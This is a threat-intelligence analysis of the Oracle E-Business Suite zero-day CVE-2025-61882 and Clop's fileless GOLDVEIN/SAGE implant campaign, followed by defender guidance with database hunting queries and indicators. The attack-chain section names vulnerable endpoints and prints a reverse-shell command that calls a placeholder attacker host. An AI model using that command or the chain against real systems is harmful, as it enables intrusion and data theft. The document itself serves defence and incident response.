CVE-2025-61882: Clop's Oracle EBS Zero-Day and the Fileless Implant Campaign

CVE-2025-61882 is, technically speaking, a single CVE identifier. But the vulnerability it describes is not a single flaw — it is a chained exploit combining server-side request forgery, CRLF injection, authentication bypass, path traversal, and XSL template injection into a pre-authentication remote code execution path against Oracle E-Business Suite. The CVE number arrived weeks after the exploitation did. By the time Oracle published its emergency patch on October 4, 2025, the attackers had been inside some environments for nearly two months.

This is Clop's operational playbook, executed against a new class of enterprise target. The group has spent years developing mass exploitation campaigns against managed file transfer platforms — Accellion FTA, GoAnywhere MFT, MOVEit, Cleo. Oracle EBS is a larger and more valuable attack surface: a business-critical ERP system holding financial records, employee data, procurement contracts, supply chain configuration, and tax information for thousands of enterprises worldwide. The data inside an EBS environment is exactly the kind of material that creates maximum extortion leverage.

The Vulnerability: Five Flaws, One RCE Chain

Oracle EBS versions 12.2.3 through 12.2.14 contained the flaw in the BI Publisher Integration component of Oracle Concurrent Processing. The component is accessible via HTTP without authentication, and the exploit chain uses that exposure as its entry point. WatchTowr researchers Sina Kheirkhah and Jake Knot, who analyzed the leaked exploit scripts, summarized the nature of the flaw precisely: it is not "just" one vulnerability, but a "poetic flow of numerous small/medium weaknesses" that required someone with deep, specific knowledge of Oracle EBS internals to chain together.

Stage 1 — SSRF via UiServlet

The attack begins with a specially crafted XML document sent to the /OA_HTML/configurator/UiServlet or /OA_HTML/SyncServlet endpoint. By manipulating the return_url parameter in the XML body, the attacker triggers a server-side request forgery condition — the EBS server is coerced into making outbound HTTP requests to attacker-controlled infrastructure. The SSRF alone has limited direct impact, but it is the foundation that makes everything else possible.

Stage 2 — CRLF Injection and Header Smuggling

Control over the outbound request parameters allows the attacker to insert carriage-return and line-feed characters into HTTP headers, smuggling additional headers and reframing requests to bypass authentication boundaries. This gives the attacker the ability to reach internal endpoints on private ports — services not meant to be reachable from the public internet but accessible to the EBS server itself — dramatically expanding the effective attack surface.

Stage 3 — Authentication Bypass via Path Traversal

With access to internal services, the attacker needs to bypass authentication filters protecting sensitive JSP files. The exploit uses a path traversal technique leveraging the /help/ prefix. Because the authentication filter sees /help/ and treats the request as publicly accessible, but the actual resolved path leads to restricted application components, the filter fails to enforce authentication. The attacker gains access to files including ieshostedsurvey.jsp and other components that should require valid credentials.

Stage 4 — XSL Template Injection via BI Publisher

With access to the authenticated BI Publisher Template Preview functionality through /OA_HTML/RF.jsp and /OA_HTML/OA.jsp, the attacker uploads and executes a malicious XSLT template. The template triggers server-side XSLT evaluation through the ScriptEngine flow, which causes the EBS host to execute attacker-controlled Java code. The payload is stored directly in the EBS database tables XDO_TEMPLATES_B and XDO_LOBS — not as files on disk.

Stage 5 — Reverse Shell and Implant Deployment

XSLT execution spawns a process on the EBS host, establishing a reverse shell connection (/bin/bash -i >& /dev/tcp/[attacker-IP]/[port]) back to attacker infrastructure. From this position the attackers deploy the multi-stage GOLDVEIN/SAGE implant framework, discussed in detail below. All subsequent activity originates from Java processes running as the EBS application user account applmgr.

The Implant Framework: GOLDVEIN, SAGEGIFT, SAGELEAF, SAGEWAVE

The malware deployed in this campaign is purpose-built for EBS environments, fileless in its persistence mechanism, and designed to survive detection by traditional file-based scanning. Mandiant and GTIG identified two distinct Java payload chains embedded in the malicious XSL templates, both operating from within the EBS application process rather than as standalone files on the host filesystem.

The technical sophistication of this framework is notable. Storing payloads directly in the Oracle database — rather than as files on the EBS host — means file-based antivirus and host integrity monitoring tools do not see them. The SAGE chain's in-memory execution path means no malicious executables are written to disk at any stage. SAGEWAVE's installation as a servlet filter gives it persistence that survives EBS application restarts without requiring a separate dropper or scheduled task. The only artifacts are database table entries and anomalous process behavior — signals that require specific EBS-aware detection logic to identify.

GOLDVEIN.JAVA's lineage connects this campaign to prior Clop infrastructure: the PowerShell GOLDVEIN family was first documented in December 2024 during exploitation of Cleo MFT software. The Java variant in this campaign shares behavioral characteristics with the original, including the fake TLSv3.1 C2 communication pattern. Mandiant also noted that GOLDTOMB, a backdoor used by UNC5936 (a suspected FIN11 subcluster) during the Cleo campaigns, shows similar characteristics to the tooling used here. The toolchain overlap provides the strongest technical thread connecting this campaign to Clop/FIN11 infrastructure, though GTIG has not made a formal attribution.

Campaign Timeline: Months of Silence Before the Ransom Email

The operational structure of this campaign is as important as the technical details. Clop's approach — exploit quietly, harvest data over weeks, then launch a simultaneous mass extortion wave — is designed to maximize the number of victims compromised before any single incident triggers a patch or a sector-wide warning.

The gap between first exploitation (August 9) and public disclosure (October 2) is 54 days. The gap between first exploitation and the emergency patch (October 4) is 56 days. During that entire window, Clop-linked operators had unauthenticated remote code execution capability against every internet-facing Oracle EBS instance running versions 12.2.3 through 12.2.14 that had not applied the July 2025 CPU — and they were using it.

Attribution: The Clop Brand and What It Means

Attribution in this campaign is deliberately complicated, and the complications are worth understanding rather than glossing over with a simple "Clop did it" headline.

GTIG and Mandiant have not formally attributed the intrusion activity to any tracked threat group. What they have observed is the use of the Clop extortion brand — including contact addresses (support@pubstorm.com and support@pubstorm.net) listed on the Clop data leak site since at least May 2025 — and tooling overlaps with FIN11 and its suspected subcluster UNC5936. CrowdStrike attributes the campaign with moderate confidence to Graceful Spider, its name for Clop-affiliated actors, but explicitly cannot rule out involvement of additional threat actors.

The complication is that Clop has evolved structurally. GTIG's reporting notes that the Clop DLS initially served multifaceted extortion operations involving Clop ransomware attributed to FIN11 — but that more recently, the DLS appears to be used by at least one actor with different TTPs. The Clop brand, like the DragonForce cartel model, may have become a franchise that multiple actors can operate under, making clean attribution to a single group increasingly difficult.

"CL0P-affiliated actors almost certainly perceive these mass exploitation campaigns as successful, given that they've employed this approach since at least late 2020." — Google Threat Intelligence Group, October 2025

What is not in dispute is the operational pattern. This campaign follows Clop's documented playbook precisely: acquire a zero-day in widely deployed enterprise software, exploit silently at scale, exfiltrate data without deploying ransomware encryption, then launch a synchronized extortion wave before the vendor patch is available. The same model was used against Accellion FTA (2020–21), GoAnywhere MFT (2023), MOVEit (2023), and Cleo LexiCom (2024). Oracle EBS is the 2025 iteration of the same campaign architecture applied to a new target category.

What Clop Was After: The EBS Data Profile

Understanding what Oracle EBS contains is critical to understanding why this target was selected and why the extortion leverage is so high. EBS is not a generic enterprise application. For organizations that run it, it is the operational core of the business: the system of record for financial accounts, payroll and HR data, procurement contracts, vendor relationships, supply chain configuration, tax records, and customer transaction history.

A successful EBS exfiltration gives an attacker leverage across multiple simultaneous pressure points. Financial data creates regulatory and audit exposure. Employee records create GDPR and state privacy law notification obligations. Vendor contract data creates competitive intelligence liability. Tax records create potential fraud implications. Customer transaction data creates notification requirements under multiple breach disclosure frameworks. The combination of all of these in a single system means that an organization faced with an EBS extortion threat is simultaneously managing legal, regulatory, competitive, and reputational risk from a single incident — exactly the profile that maximizes ransom payment probability.

GTIG confirmed that in some cases the attackers exfiltrated a "significant amount of data" from impacted environments. The scope of the campaign — described as affecting dozens of organizations with some historic Clop campaigns reaching hundreds of victims — suggests that many organizations received extortion emails without having any prior detection of the intrusion activity that preceded them.

Defender Guidance

Oracle and GTIG/Mandiant have both published specific technical guidance. The following consolidates the key defensive actions for organizations running Oracle EBS.

Patch immediately — but understand the prerequisite

The patch for CVE-2025-61882, released October 4, 2025, has a specific prerequisite: the October 2023 Critical Patch Update must be applied before the CVE-2025-61882 patch can be installed. Organizations that skipped the October 2023 CPU cannot apply the zero-day patch directly and must work through the prerequisite first. The October 11 patch addressing CVE-2025-61884 should be applied after the October 4 patch. GTIG assesses that systems updated through the October 11 patch are no longer vulnerable to known exploitation chains.

Hunt the database before you declare clean

The attackers store payloads directly in the Oracle database, not on the filesystem. Patching does not evict implants already installed. Every organization that ran an internet-exposed EBS instance on versions 12.2.3–12.2.14 before October 2025 must query the database for malicious templates:

SELECT * FROM XDO_TEMPLATES_B ORDER BY CREATION_DATE DESC;
SELECT * FROM XDO_LOBS ORDER BY CREATION_DATE DESC;

Investigate any templates where the TEMPLATE_CODE begins with TMP or DEF. The payload is stored in the LOB_CODE column. A patched system with an active SAGEWAVE filter still in the database has a persistent backdoor regardless of patch status.

Hunt for process anomalies

GTIG identified specific hunting signals in the process tree. Look for child processes of any bash -i process launched by Java running as the applmgr account. Also look for unexpected outbound network connections from the EBS Java service — GOLDVEIN.JAVA requires outbound C2 connections to function. Specific IOCs published by Oracle and Mandiant include the IP addresses 200.107.207.26 and 185.181.60.11, and file names exp.py, server.py, and oracle_ebs_nday_exploit*.zip.

Restrict outbound internet access from EBS hosts

The GOLDVEIN.JAVA downloader and SAGEWAVE filter both require outbound connectivity to C2 infrastructure to function. Oracle EBS application servers have no legitimate operational reason to initiate outbound connections to arbitrary internet hosts. Firewall rules restricting outbound traffic from EBS hosts to a defined allowlist of necessary services will prevent C2 beacon establishment and second-stage payload retrieval even if the initial exploit succeeds.

Check your exposure window — back to July

Oracle's advisory included IOCs with the note that they represent "observed activity not limited to CVE-2025-61882" and cover exploitation dating to August 2025 at minimum, with suspicious activity as early as July 10. Organizations should treat their investigation window as starting July 1, 2025, not October 4. If your EBS instance was internet-facing during that period without the July 2025 CPU applied, the working assumption should be potential compromise until investigation proves otherwise.

Clop's Playbook and What Comes Next

The Oracle EBS campaign is structurally the same operation Clop has run five times against enterprise software platforms since 2020. Zero-day acquisition, mass silent exploitation, data exfiltration, delayed mass extortion. The targets have evolved — Accellion and GoAnywhere served small-to-medium enterprises; MOVEit reached hundreds of large organizations; Oracle EBS touches global enterprises and government entities running mission-critical ERP infrastructure — but the model has not changed because the model works.

John Hultquist, chief analyst at GTIG, summarized the trajectory accurately: "Large-scale zero-day campaigns like this are becoming a regular feature of cybercrime." The question for defenders is not whether the next iteration of this campaign will happen — it will — but whether the target category is the same class of enterprise software that has been repeatedly exploited before, or whether Clop and similar actors are moving toward new categories of high-value ERP and financial infrastructure.

The Oracle EBS campaign also reinforces a consistent detection gap in enterprise security architectures. Traditional EDR, endpoint telemetry, and network perimeter tools are built around detecting malicious file creation, suspicious process execution on endpoints, and known-bad network indicators. The SAGE framework was designed specifically to avoid all three: payloads in the database instead of files, in-memory execution instead of disk writes, and C2 communication disguised as a legitimate TLS handshake. The breach begins and persists entirely in the application layer, which most endpoint-focused security stacks cannot observe.

Key Takeaways

1. CVE-2025-61882 is not one vulnerability — it is a five-stage exploit chain. SSRF, CRLF injection, authentication bypass, path traversal, and XSL template injection are chained to achieve unauthenticated RCE. The sophistication required to discover and chain these weaknesses indicates attackers with deep, specific knowledge of Oracle EBS internals.
2. Exploitation began 56 days before Oracle's emergency patch. The earliest confirmed compromise was August 9, 2025. Organizations that ran internet-facing EBS 12.2.3–12.2.14 instances without the July 2025 CPU during that window should assume potential compromise and investigate accordingly — back to July 1.
3. The malware framework is fileless and database-resident. GOLDVEIN.JAVA, SAGEGIFT, SAGELEAF, and SAGEWAVE store payloads in the Oracle database and execute entirely in memory. Patching does not evict installed implants. Threat hunting of the XDO_TEMPLATES_B and XDO_LOBS database tables is mandatory for any potentially exposed organization.
4. A functional PoC exploit was publicly available by October 6. Following the Scattered LAPSUS$ Hunters Telegram leak, the two-script toolkit required to exploit CVE-2025-61882 was publicly accessible. Any unpatched internet-facing EBS instance after that date should be considered an immediate active risk from multiple actor groups, not just Clop.
5. This is Clop's documented playbook, applied to a new category. The same operational pattern — zero-day acquisition, silent mass exploitation, delayed mass extortion — was used against Accellion, GoAnywhere, MOVEit, and Cleo. Oracle EBS is the 2025 iteration. The ERP data inside EBS environments creates compounded extortion leverage across legal, regulatory, competitive, and reputational risk simultaneously.
6. The detection gap is architectural, not just a patching failure. Application-layer attacks that store payloads in the database and execute in-memory bypass most endpoint security stacks by design. Effective detection requires runtime visibility into the application process itself — specifically, monitoring for anomalous class loading, unexpected servlet filter registration, and outbound connections from EBS Java processes.